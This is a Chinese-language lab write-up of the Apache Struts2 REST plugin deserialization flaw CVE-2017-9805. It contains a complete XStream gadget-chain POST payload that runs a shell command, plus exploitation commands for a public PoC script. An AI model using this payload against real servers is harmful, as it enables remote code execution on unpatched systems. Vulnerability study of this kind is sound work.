2017年9月5日,Apache Struts釋出最新安全公告,Apache Struts2的REST插件存在遠端代碼執行的高危漏洞,該漏洞由lgtm.com的安全研究員彙報,漏洞編号為CVE-2017-9805(S2-052)。Struts2 REST插件的XStream元件存在反序列化漏洞,使用XStream元件對XML格式的資料包進行反序列化操作時,未對資料内容進行有效驗證,存在安全隐患,可被遠端攻擊。
漏洞記錄
漏洞編号:CVE-2017-9805(S2-052)
影響版本: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
漏洞詳情:http://struts.apache.org/docs/s2-052.html
漏洞說明
Struts2-Rest-Plugin是讓Struts2能夠實作Restful API的一個插件,其根據Content-Type或URI擴充名來判斷使用者傳入的資料包類型,有如下映射表:
jsonlib無法引入任意對象,而xstream在預設情況下是可以引入任意對象的(針對1.5.x以前的版本),方法就是直接通過xml的tag name指定需要執行個體化的類名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
是以,我們可以通過反序列化引入任意類造成遠端指令執行漏洞,隻需要找到一個在Struts2庫中适用的gedget。
漏洞複現
啟動環境後,通路
http://192.168.1.15:8080/orders.xhtml
即可看到showcase頁面。
由于rest-plugin會根據URI擴充名或Content-Type來判斷解析方法,是以我們隻需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML資料。
是以,最後發送的資料包為:
編輯頁面,打開抓包工具在送出資訊前設定代理,抓包–>然後改包
将抓取的包改為如下:
修改POST資料包如下:
POST /orders/3/edit HTTP/1.1
Host: 192.168.1.15:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
以上資料包成功執行的話,會在docker容器内建立檔案/tmp/success,執行docker-compose exec struts2 ls /tmp/即可看到。
漏洞poc檢測與利用
poc下載下傳:
https://github.com/Lone-Ranger/apache-struts-pwn_CVE-2017-9805
檢測到漏洞存在:
python apache-struts-pwn.py -u 'http://192.168.1.15:8080/orders/3/edit'
漏洞利用寫入檔案
python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'
參考連結:
https://github.com/Lone-Ranger/apache-struts-pwn_CVE-2017-9805
https://github.com/vulhub/vulhub/blob/master/struts2/s2-052/README.zh-cn.md